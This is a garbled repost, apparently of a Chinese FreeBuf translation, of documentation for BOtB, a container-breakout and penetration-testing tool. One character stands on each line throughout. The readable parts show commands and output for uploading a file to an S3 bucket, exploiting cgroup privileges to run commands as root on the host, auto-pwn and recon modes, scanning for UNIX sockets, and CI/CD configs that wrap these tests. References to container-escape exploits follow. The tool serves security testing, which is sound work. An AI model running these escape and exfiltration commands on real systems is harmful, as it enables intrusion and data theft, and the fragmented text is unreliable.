M
E
O
R
I
G
I
N
0
.
1
/
m
e
t
a
-
d
a
t
a
/
a
t
t
a
c
h
e
d
-
d
i
s
k
s
/
d
i
s
k
s
/
0
/
d
e
v
i
c
e
N
a
m
e
p
e
r
s
i
s
t
e
n
t
-
d
i
s
k
-
0
0
.
1
/
m
e
t
a
-
d
a
t
a
/
a
t
t
a
c
h
e
d
-
d
i
s
k
s
/
d
i
s
k
s
/
0
/
i
n
d
e
x
0
0
.
1
/
m
e
t
a
-
d
a
t
a
/
a
t
t
a
c
h
e
d
-
d
i
s
k
s
/
d
i
s
k
s
/
0
/
m
o
d
e
R
E
A
D
_
W
R
I
T
E
.
.
.
.
.
#
.
/
b
o
b
_
l
i
n
u
x
_
a
m
d
6
4
-
s
3
p
u
s
h
=
f
i
l
e
T
o
P
u
s
h
.
t
a
r
.
g
z
-
s
3
b
u
c
k
e
t
=
n
a
m
e
O
f
S
3
B
u
c
k
e
t
-
r
e
g
i
o
n
=
e
u
-
w
e
s
t
-
2
[
+
]
B
r
e
a
k
O
u
t
T
h
e
B
o
x
[
+
]
P
u
s
h
i
n
g
f
i
l
e
T
o
P
u
s
h
.
t
a
r
.
g
z
-
>
n
a
m
e
O
f
S
3
B
u
c
k
e
t
[
*
]
D
a
t
a
u
p
l
o
a
d
e
d
t
o
:
h
t
t
p
s
:
/
/
n
a
m
e
O
f
S
3
B
u
c
k
e
t
.
s
3
.
e
u
-
w
e
s
t
-
2
.
a
m
a
z
o
n
a
w
s
.
c
o
m
/
f
i
l
e
T
o
P
u
s
h
.
t
a
r
.
g
z
[
+
]
F
i
n
i
s
h
e
d
t
u
'
p
o
#
.
/
b
o
b
_
l
i
n
u
x
_
a
m
d
6
4
-
p
w
n
-
p
r
i
v
i
l
e
g
e
d
=
h
o
s
t
n
a
m
e
[
+
]
B
r
e
a
k
O
u
t
T
h
e
B
o
x
[
+
]
A
t
t
e
m
p
t
i
n
g
t
o
e
x
p
l
o
i
t
C
G
R
O
U
P
P
r
i
v
i
l
e
g
e
s
[
*
]
T
h
e
r
e
s
u
l
t
o
f
y
o
u
r
c
o
m
m
a
n
d
c
a
n
b
e
f
o
u
n
d
i
n
/
o
u
t
p
u
t
[
+
]
F
i
n
i
s
h
e
d
r
o
o
t
@
4
1
8
f
a
2
3
8
e
3
4
d
:
/
a
p
p
#
c
a
t
/
o
u
t
p
u
t
d
o
c
k
e
r
-
d
e
s
k
t
o
p
#
.
/
b
o
b
_
l
i
n
u
x
_
a
m
d
6
4
-
p
w
n
-
p
r
i
v
i
l
e
g
e
d
=
h
o
s
t
n
a
m
e
-
a
l
w
a
y
s
-
s
u
c
c
e
e
d
-
t
r
u
e
[
+
]
B
r
e
a
k
O
u
t
T
h
e
B
o
x
[
+
]
A
t
t
e
m
p
t
i
n
g
t
o
e
x
p
l
o
i
t
C
G
R
O
U
P
P
r
i
v
i
l
e
g
e
s
[
*
]
T
h
e
r
e
s
u
l
t
o
f
y
o
u
r
c
o
m
m
a
n
d
c
a
n
b
e
f
o
u
n
d
i
n
/
o
u
t
p
u
t
[
+
]
F
i
n
i
s
h
e
d
#
e
c
h
o
$
?
0
p
a
y
l
o
a
d
:
i
d
v
e
r
b
o
s
e
:
f
a
l
s
e
a
l
w
a
y
s
-
s
u
c
c
e
e
d
:
t
r
u
e
c
i
c
d
:
f
a
l
s
e
e
n
d
p
o
i
n
t
l
i
s
t
:
e
n
d
p
o
i
n
t
s
.
t
x
t
w
o
r
d
l
i
s
t
:
w
o
r
d
l
i
s
t
.
t
x
t
使
用
以
上
Y
A
M
L
运
行
B
O
t
B
将
将
B
O
t
B
与
与
C
I
C
D
一
起
使
用
一
起
使
用
B
O
t
B
可
以
与
C
I
C
D
技
术
一
起
使
用
,
其
利
用
退
出
代
码
来
确
定
测
试
是
否
已
经
通
过
或
失
败
。
以
下
是
执
行
两
个
B
O
t
B
测
试
的
S
h
e
l
l
脚
本
,
这
两
个
测
试
的
退
出
代
码
用
于
设
置
S
h
e
l
l
脚
本
的
退
出
。
如
果
两
个
测
试
中
的
任
何
一
个
返
回
的
退
出
代
码
>
0
,
则
执
行
s
h
e
l
l
脚
本
的
测
试
将
失
败
。
以
上
脚
本
并
不
是
将
B
O
t
B
与
C
I
C
D
技
术
一
起
使
用
的
唯
一
方
法
,
也
可
以
不
包
装
在
s
h
e
l
l
脚
本
中
单
独
使
用
。
一
个
示
例
Y
M
L
配
置
如
下
:
以
下
是
可
与
H
e
r
o
k
u
C
I
一
起
使
用
的
示
例
配
置
:
以
下
是
H
e
r
o
k
u
C
I
的
示
例
配
置
,
但
使
用
了
w
r
a
p
p
e
r
s
h
e
l
l
脚
本
:
问
题
,
错
误
和
改
进
问
题
,
错
误
和
改
进
如
果
你
有
任
何
疑
问
及
改
进
建
议
,
都
可
以
通
过
提
交
i
s
s
u
e
来
告
诉
我
们
。
参
考
文
献
与
资
源
参
考
文
献
与
资
源
如
果
没
有
社
区
中
其
他
人
的
贡
献
,
那
么
也
就
不
会
有
这
款
工
具
,
以
下
是
对
我
有
帮
助
的
资
源
列
表
。
h
t
t
p
s
:
/
/
d
o
c
s
.
d
o
c
k
e
r
.
c
o
m
/
e
n
g
i
n
e
/
s
e
c
u
r
i
t
y
/
h
t
t
p
s
/
h
t
t
p
s
:
/
/
k
u
b
e
r
n
e
t
e
s
.
i
o
/
d
o
c
s
/
r
e
f
e
r
e
n
c
e
/
g
e
n
e
r
a
t
e
d
/
k
u
b
e
c
t
l
/
k
u
b
e
c
t
l
-
c
o
m
m
a
n
d
s
#
c
p
h
t
t
p
s
:
/
/
d
o
c
s
.
d
o
c
k
e
r
.
c
o
m
/
e
n
g
i
n
e
/
r
e
f
e
r
e
n
c
e
/
c
o
m
m
a
n
d
l
i
n
e
/
e
x
e
c
/
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
G
o
o
g
l
e
C
o
n
t
a
i
n
e
r
T
o
o
l
s
/
c
o
n
t
a
i
n
e
r
-
s
t
r
u
c
t
u
r
e
-
t
e
s
t
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
c
o
r
e
o
s
/
c
l
a
i
r
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
a
q
u
a
s
e
c
u
r
i
t
y
/
d
o
c
k
e
r
-
b
e
n
c
h
h
t
t
p
s
:
/
/
w
w
w
.
c
i
s
e
c
u
r
i
t
y
.
o
r
g
/
b
e
n
c
h
m
a
r
k
/
d
o
c
k
e
r
/
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
F
r
i
c
h
e
t
t
e
n
/
C
V
E
-
2
0
1
9
-
5
7
3
6
-
P
o
C
h
t
t
p
s
:
/
/
w
w
w
.
t
w
i
s
t
l
o
c
k
.
c
o
m
/
l
a
b
s
-
b
l
o
g
/
b
r
e
a
k
i
n
g
-
d
o
c
k
e
r
-
v
i
a
-
r
u
n
c
-
e
x
p
l
a
i
n
i
n
g
-
c
v
e
-
2
0
1
9
-
5
7
3
6
/
h
t
t
p
s
:
/
/
w
w
w
.
t
w
i
s
t
l
o
c
k
.
c
o
m
/
l
a
b
s
-
b
l
o
g
/
d
i
s
c
l
o
s
i
n
g
-
d
i
r
e
c
t
o
r
y
-
t
r
a
v
e
r
s
a
l
-
v
u
l
n
e
r
a
b
i
l
i
t
y
-
k
u
b
e
r
n
e
t
e
s
-
c
o
p
y
-
c
v
e
-
2
0
1
9
-
1
0
0
2
1
0
1
/
h
t
t
p
s
:
/
/
d
o
c
s
.
a
w
s
.
a
m
a
z
o
n
.
c
o
m
/
A
W
S
E
C
2
/
l
a
t
e
s
t
/
U
s
e
r
G
u
i
d
e
/
e
c
2
-
c
l
a
s
s
i
c
-
p
l
a
t
f
o
r
m
.
h
t
m
l
w
o
r
d
l
i
s
t
:
w
o
r
d
l
i
s
t
.
t
x
t
p
a
t
h
:
/
m
o
d
e
:
f
i
n
d
-
s
o
c
k
e
t
s
#
.
/
b
o
b
_
l
i
n
u
x
_
a
m
d
6
4
-
c
o
n
f
i
g
=
c
f
g
.
y
m
l
[
+
]
B
r
e
a
k
O
u
t
T
h
e
B
o
x
[
+
]
L
o
a
d
i
n
g
C
o
n
f
i
g
:
c
f
g
.
y
m
l
[
+
]
L
o
o
k
i
n
g
f
o
r
U
N
I
X
D
o
m
a
i
n
S
o
c
k
e
t
s
f
r
o
m
:
/
[
!
]
V
a
l
i
d
S
o
c
k
e
t
:
/
t
m
p
/
t
h
i
s
i
s
n
o
t
a
s
o
c
k
e
t
.
m
o
c
k
[
+
]
F
i
n
i
s
h
e
d
#
!
/
b
i
n
/
s
h
e
x
i
t
C
o
d
e
=
0
e
c
h
o
"
[
+
]
T
e
s
t
i
n
g
U
N
I
X
S
o
c
k
e
t
s
"
.
/
b
o
b
_
l
i
n
u
x
_
a
m
d
6
4
-
a
u
t
o
p
w
n
-
c
i
c
d
=
t
r
u
e
e
x
i
t
C
o
d
e
=
$
?
e
c
h
o
"
[
+
]
T
e
s
t
i
n
g
E
n
v
"
.
/
b
o
b
_
l
i
n
u
x
_
a
m
d
6
4
-
r
e
c
o
n
=
t
r
u
e
e
x
i
t
C
o
d
e
=
$
?
(
e
x
i
t
$
e
x
i
t
C
o
d
e
)
v
e
r
s
i
o
n
:
2
c
i
c
d
:
r
u
n
A
T
e
s
t
:
.
/
b
o
b
_
l
i
n
u
x
_
a
m
d
6
4
-
a
u
t
o
p
w
n
-
c
i
c
d
=
t
r
u
e
{
"
e
n
v
i
r
o
n
m
e
n
t
s
"
:
{
"
t
e
s
t
"
:
{
"
s
c
r
i
p
t
s
"
:
{
"
t
e
s
t
"
:
"
.
/
b
o
b
_
l
i
n
u
x
_
a
m
d
6
4
-
a
u
t
o
p
w
n
-
c
i
c
d
=
t
r
u
e
"
}
}
}
}
{
"
e
n
v
i
r
o
n
m
e
n
t
s
"
:
{
"
t
e
s
t
"
:
{
"
s
c
r
i
p
t
s
"
:
{
"
t
e
s
t
"
:
"
.
/
b
i
n
/
t
e
s
t
S
o
c
k
s
A
n
d
E
n
v
.
s
h
"
}
}
}
}
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
w
a
g
o
o
d
m
a
n
/
d
i
v
e
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
c
j
i
/
t
a
l
k
s
/
b
l
o
b
/
m
a
s
t
e
r
/
B
r
u
C
O
N
2
0
1
8
/
O
u
t
s
i
d
e
%
2
0
T
h
e
%
2
0
B
o
x
%
2
0
-
%
2
0
B
r
u
C
O
N
%
2
0
2
0
1
8
.
p
d
f
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
s
i
n
g
e
/
c
o
n
t
a
i
n
e
r
-
b
r
e
a
k
o
u
t
s
h
t
t
p
s
:
/
/
b
l
o
g
.
t
r
a
i
l
o
f
b
i
t
s
.
c
o
m
/
2
0
1
9
/
0
7
/
1
9
/
u
n
d
e
r
s
t
a
n
d
i
n
g
-
d
o
c
k
e
r
-
c
o
n
t
a
i
n
e
r
-
e
s
c
a
p
e
s
/
h
t
t
p
s
:
/
/
z
w
i
s
c
h
e
n
z
u
g
s
.
c
o
m
/
2
0
1
5
/
0
6
/
2
4
/
t
h
e
-
m
o
s
t
-
p
o
i
n
t
l
e
s
s
-
d
o
c
k
e
r
-
c
o
m
m
a
n
d
-
e
v
e
r
/
*
参
考
来
源
:
参
考
来
源
:
G
i
t
H
u
b
,
,
F
B
小
编
小
编
s
e
c
i
s
t
编
译
,
转
载
请
注
明
来
自
编
译
,
转
载
请
注
明
来
自
F
r
e
e
B
u
f
.
C
O
M
精
彩
推
荐
精
彩
推
荐
阅
读
原
文
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页